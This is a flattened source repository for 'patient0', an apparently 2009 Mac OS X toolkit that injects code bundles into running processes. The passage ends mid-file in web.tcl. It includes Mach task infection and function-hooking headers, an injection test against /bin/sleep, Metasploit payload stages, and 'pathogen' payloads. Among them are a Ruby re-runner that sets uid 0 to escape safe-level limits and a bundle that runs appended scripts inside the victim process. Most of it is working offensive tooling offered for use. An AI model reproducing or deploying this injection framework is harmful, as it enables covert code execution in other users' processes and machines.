├── VERSION ├── pathogens ├── Makefile ├── swineflu │ ├── Makefile │ └── swineflu.c ├── alzheimers │ ├── Makefile │ └── alzheimers.c ├── objcspy │ ├── Makefile │ └── objcspy.c └── rubella │ ├── rerun.rb │ ├── rubyist.c │ ├── web.tcl │ ├── Makefile │ ├── tclist.c │ ├── webserver.rb │ ├── pivot.rb │ └── rubella.c ├── Makefile.inc ├── ext ├── README ├── METASPLOIT_LICENSE ├── _inject_bundle_from_mem.s └── _inject_bundle.s ├── tests ├── mach_jump_test.c ├── dummy.c ├── Makefile └── infect_test.c ├── include └── patient0 │ ├── mach_jump │ ├── clobber.h │ ├── lazy_symbol.h │ ├── libdupe.h │ ├── image_info.h │ └── jump_table.h │ ├── infect.h │ ├── process.h │ ├── runtime.h │ ├── spawn.h │ ├── mach_jump.h │ └── log.h ├── extras └── metasploit │ ├── modules │ └── payloads │ │ └── stages │ │ └── osx │ │ └── x86 │ │ ├── patient0.rb │ │ └── rubella.rb │ └── lib │ └── msf │ └── core │ └── payload │ └── osx │ └── patient0.rb ├── src ├── log.c ├── runtime.c ├── Makefile ├── mach_jump │ ├── clobber.c │ ├── libdupe.c │ ├── image_info.c │ ├── mach_jump.c │ ├── lazy_symbol.c │ └── jump_table.c ├── process.c ├── infect.c ├── patient0.c ├── spawn.c └── syringe.c ├── Makefile ├── LICENSE └── README.markdown /VERSION: -------------------------------------------------------------------------------- 1 | 0.1 1243117534 2 | -------------------------------------------------------------------------------- /pathogens/Makefile: -------------------------------------------------------------------------------- 1 | PATHOGENS=rubella swineflu alzheimers 2 | 3 | metasploit: 4 | make -C $(PATHOGENS) 5 | 6 | all: metasploit 7 | -------------------------------------------------------------------------------- /Makefile.inc: -------------------------------------------------------------------------------- 1 | TOP := $(dir $(lastword $(MAKEFILE_LIST))) 2 | LIBPATIENT0_INCLUDE=$(TOP)/include 3 | CFLAGS=-I$(LIBPATIENT0_INCLUDE) -DP0_VERBOSE -DP0_LOG_FILE='"/tmp/p0"' -ggdb3 -g 4 | #CFLAGS=-I$(LIBPATIENT0_INCLUDE) -DNDEBUG 5 | -------------------------------------------------------------------------------- /ext/README: -------------------------------------------------------------------------------- 1 | 2 | * _inject_bundle_*.s: Derived from Dino Dai Zovi's _inject_bundle.s. 3 | Original source: http://trac.metasploit.com/browser/framework3/trunk/external/source/osx/x86/include/_inject_bundle.s 4 | See METASPLOIT_LICENSE for details. 5 | 6 | -------------------------------------------------------------------------------- /tests/mach_jump_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | mach_jump_init(); 6 | mach_jump_patch("open", &printf); 7 | printf("patched\n"); 8 | open("open sez hello (%d)!\n\n", 1); 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /tests/dummy.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void run(void *self, size_t size) { 7 | char s[512]; 8 | int fd = open("/tmp/dummy.bundle.out", O_WRONLY|O_TRUNC|O_CREAT); 9 | snprintf(s, sizeof(s), "INFECTED(%p, %d)\n", self, size); 10 | if (fd > 0) { 11 | write(fd, s, strlen(s)); 12 | close(fd); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /pathogens/swineflu/Makefile: -------------------------------------------------------------------------------- 1 | include ../../Makefile.inc 2 | 3 | libpatient0.a: 4 | make -C $(TOP)/src libpatient0.a 5 | cp $(TOP)/src/libpatient0.a ./ 6 | 7 | swineflu.bundle: swineflu.c libpatient0.a 8 | gcc $(CFLAGS) -DSYRINGE_BUNDLE swineflu.c libpatient0.a -bundle -o swineflu.bundle -lpthread 9 | 10 | metasploit: swineflu.bundle 11 | 12 | all: metasploit 13 | 14 | clean: 15 | @rm libpatient0.a *.bundle &> /dev/null 16 | 17 | .IGNORE: clean 18 | -------------------------------------------------------------------------------- /pathogens/alzheimers/Makefile: -------------------------------------------------------------------------------- 1 | include ../../Makefile.inc 2 | 3 | libpatient0.a: 4 | make -C $(TOP)/src libpatient0.a 5 | cp $(TOP)/src/libpatient0.a ./ 6 | 7 | alzheimers.bundle: alzheimers.c libpatient0.a 8 | gcc $(CFLAGS) -DSYRINGE_BUNDLE alzheimers.c libpatient0.a -bundle -o alzheimers.bundle -lpthread 9 | 10 | metasploit: alzheimers.bundle 11 | 12 | all: metasploit 13 | 14 | clean: 15 | @rm -rf *.dSYM libpatient0.a *.bundle &> /dev/null 16 | 17 | .IGNORE: clean 18 | -------------------------------------------------------------------------------- /pathogens/objcspy/Makefile: -------------------------------------------------------------------------------- 1 | include ../../Makefile.inc 2 | 3 | libpatient0.a: 4 | make -C $(TOP)/src libpatient0.a 5 | cp $(TOP)/src/libpatient0.a ./ 6 | 7 | objcspy.bundle: objcspy.c libpatient0.a 8 | gcc $(CFLAGS) -DSYRINGE_BUNDLE objcspy.c libpatient0.a -bundle -o rubella.bundle -lpthread -lpthread -lobjc /opt/local/lib/libavcall.a -I/opt/local/include 9 | 10 | metasploit: objcspy.bundle 11 | 12 | all: metasploit 13 | 14 | clean: 15 | @rm libpatient0.a *.bundle &> /dev/null 16 | 17 | .IGNORE: clean 18 | -------------------------------------------------------------------------------- /tests/Makefile: -------------------------------------------------------------------------------- 1 | INCLUDE_DIR=../include 2 | 3 | mach_jump_test: mach_jump_test.c 4 | gcc -I$(INCLUDE_DIR) -ggdb3 -g mach_jump_test.c ../src/mach_jump/*.c -o mach_jump_test 5 | 6 | dummy.bundle: 7 | gcc -bundle dummy.c -o dummy.bundle 8 | 9 | dummy.h: dummy.bundle 10 | xxd -i dummy.bundle > dummy.h 11 | 12 | infect_test: dummy.h infect_test.c 13 | gcc -I$(INCLUDE_DIR) -ggdb3 -g infect_test.c ../src/infect.c ../src/spawn.c -o infect_test 14 | 15 | clean: 16 | @rm -rf *.o *.dSYM mach_jump_test infect_test dummy.h dummy.bundle &> /dev/null 17 | -------------------------------------------------------------------------------- /include/patient0/mach_jump/clobber.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | * vim:tw=80:ts=2:et:sw=2 6 | */ 7 | #ifndef PATIENT0_CLOBBER_H_ 8 | #define PATIENT0_CLOBBER_H_ 9 | #include 10 | #include 11 | #include 12 | 13 | int clobber_function_by_symbol(const char *sym, intptr_t ptr_to_addrptr); 14 | 15 | #endif /* PATIENT0_CLOBBER_H_ */ 16 | -------------------------------------------------------------------------------- /include/patient0/mach_jump/lazy_symbol.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | * vim:tw=80:ts=2:et:sw=2 6 | */ 7 | #ifndef PATIENT0_LAZY_SYMBOL_H_ 8 | #define PATIENT0_LAZY_SYMBOL_H_ 9 | #include 10 | #include 11 | #include 12 | 13 | bool lazy_symbol_init(); 14 | intptr_t lazy_symbol_stub(const char *symbol); 15 | 16 | #endif /* PATIENT0_LAZY_SYMBOL_H_ */ 17 | -------------------------------------------------------------------------------- /extras/metasploit/modules/payloads/stages/osx/x86/patient0.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # $Id: $ 3 | ## 4 | 5 | ## 6 | # This file is part of the Metasploit Framework and may be subject to 7 | # redistribution and commercial restrictions. Please see the Metasploit 8 | # Framework web site for more information on licensing and terms of use. 9 | # http://metasploit.com/framework/ 10 | ## 11 | 12 | 13 | require 'msf/core' 14 | require 'msf/core/payload/osx/patient0' 15 | 16 | 17 | ### 18 | # 19 | # Injects the patient0 syringe bundle and a given pathogen. 20 | # 21 | ### 22 | module Metasploit3 23 | 24 | include Msf::Payload::Osx::Patient0 25 | 26 | end 27 | -------------------------------------------------------------------------------- /include/patient0/infect.h: -------------------------------------------------------------------------------- 1 | /* mach_jump.h 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | * vim:tw=80:ts=2:et:sw=2 6 | */ 7 | #ifndef PATIENT0_INFECT_H_ 8 | #define PATIENT0_INFECT_H_ 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | bool infect(mach_port_t task, 15 | const unsigned char *bundle, 16 | size_t size, 17 | thread_act_t *thread); 18 | 19 | #endif /* PATIENT0_INFECT_H_ */ 20 | -------------------------------------------------------------------------------- /include/patient0/mach_jump/libdupe.h: -------------------------------------------------------------------------------- 1 | /* DO NOT USE. UNFINISHED. 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | * vim:tw=80:ts=2:et:sw=2 6 | */ 7 | #ifndef PATIENT0_LIBDUPE_H_ 8 | #define PATIENT0_LIBDUPE_H_ 9 | #include 10 | #include 11 | #include 12 | 13 | typedef struct libdupe_entry { 14 | uint8_t *base; 15 | uint32_t size; 16 | uint8_t *original_base; 17 | } libdupe_entry_t; 18 | 19 | bool libdupe_dupe(const char *symbol, libdupe_entry_t *entry); 20 | 21 | #endif /* PATIENT0_LIBDUPE_H_ */ 22 | -------------------------------------------------------------------------------- /include/patient0/process.h: -------------------------------------------------------------------------------- 1 | /* spawn.h 2 | * Public interfaces for process spawning with mach task ports 3 | * 4 | * Copyright (c) 2009 Will Drewry . All rights reserved. 5 | * Use of this source code is governed by a BSD-style license that can be 6 | * found in the LICENSE file or at http://github.org/redpig/patient0. 7 | */ 8 | #ifndef PATIENT0_PROCESS_H_ 9 | #define PATIENT0_PROCESS_H_ 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | size_t process_kernel_max(); 18 | pid_t process_find(const char *prefix); 19 | bool process_list(struct kinfo_proc **processes, size_t *count); 20 | #endif /* PATIENT0_PROCESS_H_ */ 21 | -------------------------------------------------------------------------------- /src/log.c: -------------------------------------------------------------------------------- 1 | /* vim:tw=80:ts=2:et:sw=2 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | #ifdef P0_LOG_FILE 17 | FILE *p0_log_file = NULL; 18 | __attribute__((constructor)) static void p0_log_init() { 19 | pid_t pid = getpid(); 20 | char fname[256] = {0}; 21 | snprintf(fname, 256, "%s.%d.log", P0_LOG_FILE, pid); 22 | p0_log_file = fopen(fname, "a"); 23 | } 24 | #endif 25 | -------------------------------------------------------------------------------- /include/patient0/mach_jump/image_info.h: -------------------------------------------------------------------------------- 1 | /* mach_jump.h 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | * vim:tw=80:ts=2:et:sw=2 6 | */ 7 | #ifndef PATIENT0_IMAGE_INFO_H_ 8 | #define PATIENT0_IMAGE_INFO_H_ 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | bool image_info_initialize(); 17 | bool image_info_ready(); 18 | uint32_t image_info_count(); 19 | bool image_info_wait_until_ready(); 20 | bool image_info_jump_table(uint32_t index, jump_table_t *table); 21 | 22 | #endif /* PATIENT0_IMAGE_INFO_H_ */ 23 | -------------------------------------------------------------------------------- /tests/infect_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "dummy.h" 6 | 7 | int main() { 8 | char *argv[] = {"/bin/sleep", "30", NULL}; 9 | char *envp[] = {NULL}; 10 | thread_act_t thread; 11 | mach_port_t port = MACH_PORT_NULL; 12 | pid_t pid = spawn("/bin/sleep", argv, envp, &port, -1); 13 | if (pid <= 0 && port == MACH_PORT_NULL) { 14 | printf("FAIL!\n"); 15 | return 1; 16 | } 17 | /* No rush, let's assume 2 seconds is enough time to get our 18 | * process properly bootstrapped (execve, dyld, etc. 19 | */ 20 | sleep(2); 21 | if (!infect(port, dummy_bundle, dummy_bundle_len, &thread)) { 22 | printf("FAILED TO INFECT!\n"); 23 | return 1; 24 | } 25 | printf("Check if /tmp/dummy.bundle.out exists!\n"); 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /include/patient0/runtime.h: -------------------------------------------------------------------------------- 1 | /* runtime.h 2 | * Utilities for use during patient0 & pathogen runtime. 3 | * 4 | * Copyright (c) 2009 Will Drewry . All rights reserved. 5 | * Use of this source code is governed by a BSD-style license that can be 6 | * found in the LICENSE file or at http://github.org/redpig/patient0. 7 | * vim:tw=80:ts=2:et:sw=2 8 | */ 9 | #ifndef PATIENT0_RUNTIME_H_ 10 | #define PATIENT0_RUNTIME_H_ 11 | #include 12 | #include 13 | 14 | #define PATIENT0_PAYLOAD_SIZE(__code, __size) \ 15 | (*((uint32_t *)(__code + __size - sizeof(uint32_t)))) 16 | #define PATIENT0_PAYLOAD(__code, __size) \ 17 | ((char *) \ 18 | (!__size ? \ 19 | 0 : \ 20 | (__code + __size) - \ 21 | ((PATIENT0_PAYLOAD_SIZE(__code, __size)) + sizeof(uint32_t)))) 22 | 23 | void runtime_deadlock(); 24 | void runtime_terminate(); 25 | 26 | #endif /* PATIENT0_RUNTIME_H_ */ 27 | -------------------------------------------------------------------------------- /src/runtime.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * Copyright (c) 2009 Will Drewry . All rights reserved. 4 | * Use of this source code is governed by a BSD-style license that can be 5 | * found in the LICENSE file or at http://github.org/redpig/patient0. 6 | * vim:tw=80:ts=2:et:sw=2 7 | */ 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #include 22 | 23 | void runtime_terminate() { 24 | thread_terminate(mach_thread_self()); 25 | } 26 | 27 | void runtime_deadlock() { 28 | pthread_mutex_t l = PTHREAD_MUTEX_INITIALIZER; 29 | pthread_mutex_lock(&l); 30 | pthread_mutex_lock(&l); 31 | } 32 | -------------------------------------------------------------------------------- /include/patient0/spawn.h: -------------------------------------------------------------------------------- 1 | /* spawn.h 2 | * Public interfaces for process spawning with mach task ports 3 | * 4 | * Copyright (c) 2009 Will Drewry . All rights reserved. 5 | * Use of this source code is governed by a BSD-style license that can be 6 | * found in the LICENSE file or at http://github.org/redpig/patient0. 7 | */ 8 | #ifndef PATIENT0_SPAWN_H_ 9 | #define PATIENT0_SPAWN_H_ 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | /* spawn 16 | * 17 | * Launches the executable at 'path' with the given argv and envp. It will 18 | * return that process' mach task port in 'taskport'. If a positive pid 19 | * value is set, that pid will receive the SIGKILL signal just before execv*() 20 | * is called. This allows for quick replacement for auto-spawned processes, 21 | * like Dock. 22 | */ 23 | pid_t spawn(const char *path, 24 | char **argv, 25 | char **envp, 26 | mach_port_t *taskport, 27 | pid_t pid); 28 | 29 | #endif /* PATIENT0_SPAWN_H_ */ 30 | -------------------------------------------------------------------------------- /pathogens/rubella/rerun.rb: -------------------------------------------------------------------------------- 1 | # rerun.rb - re-runs a supplied script in a new ruby interpreter 2 | # 3 | # Usage: 4 | # ruby /dev/fd/1 5 | # Escapes safe level == 1 restrictions by spawning a new ruby interpreter 6 | # and passes along the first argument as an integer and then writes the 7 | # "real" script to the pipe. 8 | # 9 | # Copyright (c) 2009 Will Drewry . All rights reserved. 10 | # Use of this source code is governed by a BSD-style license that can be 11 | # found in the LICENSE file or at http://github.org/redpig/patient0. 12 | 13 | # REAL_SCRIPT must be supplied by the caller. 14 | #REAL_SCRIPT=String.new(<<'EOF') 15 | #XXXREALSCRIPTXXX 16 | #EOF 17 | 18 | # Here we escape the setuid SAFE level 19 | if Process.uid != 0 20 | Process.uid = 0 21 | Process.euid = 0 22 | Process.gid = 0 23 | Process.egid = 0 24 | a = [] 25 | ARGV.each{|arg| entry = arg.dup; entry.untaint; a << entry } 26 | # Try not to shell-inject yourself. 27 | pipe = IO.popen("/usr/bin/ruby - #{a.join(" ")}", "w") 28 | pipe.write(REAL_SCRIPT) 29 | pipe.close 30 | end 31 | 32 | -------------------------------------------------------------------------------- /include/patient0/mach_jump.h: -------------------------------------------------------------------------------- 1 | /* mach_jump.h 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | * vim:tw=80:ts=2:et:sw=2 6 | */ 7 | #ifndef PATIENT0_MACH_JUMP_H_ 8 | #define PATIENT0_MACH_JUMP_H_ 9 | #include 10 | #include 11 | #include 12 | 13 | bool mach_jump_init(); 14 | bool mach_jump_patch(const char *symbol, void *replacement_fn); 15 | bool mach_jump_unpatch(const char *symbol); 16 | bool mach_jump_framework_patch(const char *framework, 17 | const char *symbol, 18 | void *replacement); 19 | bool mach_jump_framework_unpatch(const char *framework, 20 | const char *symbol, 21 | void *replacement); 22 | bool mach_jump_patch_loads(const char *symbol, void *replacement); 23 | bool mach_jump_patch_images(const char *symbol, void *replacement); 24 | #endif /* PATIENT0_MACH_JUMP_H_ */ 25 | -------------------------------------------------------------------------------- /include/patient0/mach_jump/jump_table.h: -------------------------------------------------------------------------------- 1 | /* mach_jump.h 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | * vim:tw=80:ts=2:et:sw=2 6 | */ 7 | #ifndef PATIENT0_JUMP_TABLE_H_ 8 | #define PATIENT0_JUMP_TABLE_H_ 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | typedef struct jump_table { 15 | intptr_t addr; 16 | uint32_t size; 17 | uint32_t reserved1; 18 | uint32_t reserved2; 19 | } jump_table_t; 20 | 21 | typedef struct __attribute__((packed)) { 22 | unsigned char opcode; 23 | intptr_t target; 24 | } jmp_entry_t; 25 | 26 | bool jump_table_init(); 27 | jump_table_t *jump_table_global(); 28 | intptr_t jump_table_find(jump_table_t *table, intptr_t fn_address); 29 | intptr_t jump_table_find_by_symbol_address(jump_table_t *table, const char *symbol); 30 | bool jump_table_patch(intptr_t entry_address, void *target); 31 | bool jump_table_get_table(const char *framework, jump_table_t *table); 32 | bool jump_table_get_indexed_table(uint32_t index, jump_table_t *table); 33 | 34 | #endif /* PATIENT0_JUMP_TABLE_H_ */ 35 | -------------------------------------------------------------------------------- /pathogens/rubella/rubyist.c: -------------------------------------------------------------------------------- 1 | /* rubyist.c: proof of concept bundle that executes an appended ruby script. 2 | * 3 | * Copyright (c) 2009 Will Drewry . All rights reserved. 4 | * Use of this source code is governed by a BSD-style license that can be 5 | * found in the LICENSE file or at http://github.org/redpig/patient0. 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include /* Ruby.framework */ 11 | 12 | #include 13 | #include 14 | 15 | EXTERN VALUE rb_progname; 16 | EXTERN VALUE rb_argv0; 17 | 18 | void run(char *code, uint32_t size) { 19 | RUBY_INIT_STACK 20 | uint32_t script_size = PATIENT0_PAYLOAD_SIZE(code, size); 21 | char *script = PATIENT0_PAYLOAD(code, size); 22 | ruby_init(); 23 | ruby_init_loadpath(); /* Ruby does ship on all macs :) */ 24 | p0_logf(P0_INFO, "code: %p", code); 25 | p0_logf(P0_INFO, "code size: %d", size); 26 | p0_logf(P0_INFO, "script size: %d", script_size); 27 | p0_logf(P0_INFO, "script: %p", script); 28 | if (script) { 29 | script[script_size] = '\0'; 30 | ruby_script("patient0"); 31 | rb_argv0 = rb_progname; 32 | p0_logf(P0_INFO, "evaluating script"); 33 | rb_eval_string(script); 34 | p0_logf(P0_INFO, "finalizing ruby environment"); 35 | ruby_finalize(); 36 | } 37 | p0_logf(P0_INFO, "deadlocking"); 38 | runtime_deadlock(); 39 | } 40 | -------------------------------------------------------------------------------- /include/patient0/log.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | */ 6 | #ifndef PATIENT0_LOG_H_ 7 | #define PATIENT0_LOG_H_ 8 | 9 | #include 10 | #include 11 | 12 | #define P0_INFO 1 13 | #define P0_WARN 64 14 | #define P0_ERR 128 15 | #define P0_FATAL 256 16 | 17 | #ifndef P0_LOG_CUTOFF 18 | # ifdef NDEBUG 19 | # define P0_LOG_CUTOFF 255 20 | # elif defined(P0_VERBOSE) 21 | # define P0_LOG_CUTOFF 0 22 | # else 23 | # define P0_LOG_CUTOFF 127 24 | # endif 25 | #endif 26 | 27 | 28 | #ifdef P0_LOG_FILE 29 | extern FILE *p0_log_file; 30 | # define P0_LOG_STREAM p0_log_file 31 | #else 32 | # define P0_LOG_STREAM stderr 33 | #endif 34 | 35 | #define p0_logf(_level, _format, ...) \ 36 | if (_level > P0_LOG_CUTOFF && P0_LOG_STREAM) { \ 37 | fprintf(P0_LOG_STREAM, "%s:%d:%s: " _format "\n", \ 38 | __FILE__, __LINE__, __PRETTY_FUNCTION__, ##__VA_ARGS__); \ 39 | fflush(P0_LOG_STREAM); \ 40 | if (_level >= P0_FATAL) { abort(); } \ 41 | } 42 | 43 | #define p0_logf_if(_level, _cond, _format, ...) \ 44 | if (_level > P0_LOG_CUTOFF) { \ 45 | if ( (_cond) ) { \ 46 | p0_logf(_level, _format, ##__VA_ARGS__); \ 47 | } \ 48 | } 49 | 50 | #endif /* PATIENT0_LOG_H_ */ 51 | -------------------------------------------------------------------------------- /ext/METASPLOIT_LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2008, Metasploit LLC 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, 5 | are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, 8 | this list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of Metasploit LLC nor the names of its contributors 15 | may be used to endorse or promote products derived from this software 16 | without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 19 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 22 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 24 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 25 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 26 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 27 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | include Makefile.inc 2 | VERSION = $(shell tail -1 $(TOP)/VERSION | cut -f1 -d' ') 3 | SUBDIRS = src 4 | .PHONY: metasploit_bundles build standalone_bin 5 | .IGNORE: clean 6 | 7 | # Normally used targets 8 | all: metasploit standalone README.html 9 | 10 | metasploit: metasploit_bundles 11 | cp -r extras/metasploit/* build/metasploit/ 12 | @echo "To use: cp -r build/metasploit/* your/metasploit-root/" 13 | 14 | standalone: standalone_bin 15 | @echo "Run ./build/bin/syringe" 16 | 17 | # 18 | # Distribution related targets 19 | # 20 | 21 | README.html: README.markdown 22 | bluecloth README.markdown > README.html 23 | 24 | # distclean adds a rendered readme. 25 | distclean: clean README.html 26 | 27 | # Build a patient0-$(VERSION).tar.gz 28 | dist: distclean 29 | mkdir -p dist/patient0-$(VERSION) 30 | tar --exclude .git --exclude dist -cf - $(TOP) | tar -C dist/patient0-$(VERSION) -xf - 31 | tar -C dist -V patient0-$(VERSION) --owner nobody --group nobody -czvf patient0-$(VERSION).tar.gz patient0-$(VERSION) 32 | 33 | # 34 | # Subdir targets 35 | # 36 | builddir: 37 | @mkdir -p build/bin &> /dev/null 38 | @mkdir -p build/metasploit/data &> /dev/null 39 | 40 | metasploit_bundles: builddir 41 | $(MAKE) -C src metasploit 42 | $(MAKE) -C pathogens/rubella metasploit 43 | @mkdir -p build/metasploit/data &> /dev/null 44 | cp src/syringe.bundle build/metasploit/data 45 | cp pathogens/rubella/rubella.bundle build/metasploit/data 46 | 47 | standalone_bin: builddir 48 | $(MAKE) -C src standalone 49 | cp src/syringe build/bin/ 50 | 51 | clean: 52 | $(MAKE) -C src clean 53 | $(MAKE) -C pathogens/rubella clean 54 | @rm -f *.tar.gz &> /dev/null 55 | @rm -f README.html &> /dev/null 56 | @rm -rf build dist &> /dev/null 57 | -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | include ../Makefile.inc 2 | 3 | .IGNORE: clean 4 | 5 | LIBPATIENT0_SOURCES=spawn.c infect.c process.c mach_jump/image_info.c mach_jump/libdupe.c mach_jump/clobber.c mach_jump/mach_jump.c mach_jump/jump_table.c mach_jump/lazy_symbol.c runtime.c log.c 6 | 7 | LIBPATIENT0_OBJS=spawn.o infect.o process.o mach_jump/image_info.o mach_jump/libdupe.o mach_jump/clobber.o mach_jump/mach_jump.o mach_jump/jump_table.o mach_jump/lazy_symbol.o runtime.o log.o 8 | 9 | libpatient0.a: inject_bundle.h $(LIBPATIENT0_OBJS) 10 | libtool -static -o libpatient0.a $(LIBPATIENT0_OBJS) 11 | 12 | inject_bundle.h: ../ext/_inject_bundle_from_mem.s 13 | nasm ../ext/_inject_bundle_from_mem.s -o inject_bundle 14 | xxd -i inject_bundle > inject_bundle.h 15 | rm inject_bundle 16 | 17 | patient0.bundle: patient0.c libpatient0.a 18 | gcc $(CFLAGS) patient0.c libpatient0.a -lpthread -framework CoreServices -o patient0.bundle -bundle -lpthread 19 | 20 | patient0_bundle.h: patient0.bundle 21 | xxd -i patient0.bundle > patient0_bundle.h 22 | 23 | syringe: patient0_bundle.h syringe.c libpatient0.a 24 | gcc $(CFLAGS) syringe.c -o syringe libpatient0.a -lpthread 25 | 26 | syringe.bundle: patient0_bundle.h syringe.c libpatient0.a 27 | gcc $(CFLAGS) -DSYRINGE_BUNDLE syringe.c libpatient0.a -bundle -o syringe.bundle -lpthread 28 | 29 | standalone: syringe 30 | 31 | metasploit: syringe.bundle 32 | 33 | # Dummy testing targets 34 | spawn_main: spawn.c 35 | gcc -I$(LIBPATIENT0_INCLUDE) -ggdb3 -g spawn.c -o spawn_main -DSPAWN_MAIN 36 | 37 | process_main: process.c 38 | gcc -I$(LIBPATIENT0_INCLUDE) -ggdb3 -g process.c -o process_main -DPROCESS_MAIN 39 | 40 | all: standalone metasploit 41 | 42 | clean: 43 | @rm -rf *.bundle *.o mach_jump/*.o *.dSYM syringe spawn_main process_main inject_bundle.h patient0_bundle.h *.a &> /dev/null 44 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2009, Will Drewry 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | * Redistributions of source code must retain the above copyright 7 | notice, this list of conditions and the following disclaimer. 8 | * Redistributions in binary form must reproduce the above copyright 9 | notice, this list of conditions and the following disclaimer in the 10 | documentation and/or other materials provided with the distribution. 11 | * Neither the name of patient0 nor the names of its contributors may be 12 | used to endorse or promote products derived from this software without 13 | specific prior written permission. 14 | 15 | THIS SOFTWARE IS PROVIDED BY WILL DREWRY ''AS IS'' AND ANY 16 | EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 17 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 18 | DISCLAIMED. IN NO EVENT SHALL WILL DREWRY BE LIABLE FOR ANY 19 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 20 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 21 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 22 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 23 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 24 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 25 | 26 | ============================================================================== 27 | Files under ext/ may have different terms. Please see ext/README. 28 | Files under extras/ are derived from metasploit source code. The changes are 29 | covered under the above license and the original code is covered under: 30 | ext/METASPLOIT_LICENSE. 31 | -------------------------------------------------------------------------------- /pathogens/rubella/web.tcl: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2009 Will Drewry . All rights reserved. 2 | # Use of this source code is governed by a BSD-style license that can be 3 | # found in the LICENSE file or at http://github.org/redpig/patient0. 4 | proc unescape {str} { return [regsub -all {%22} [regsub -all 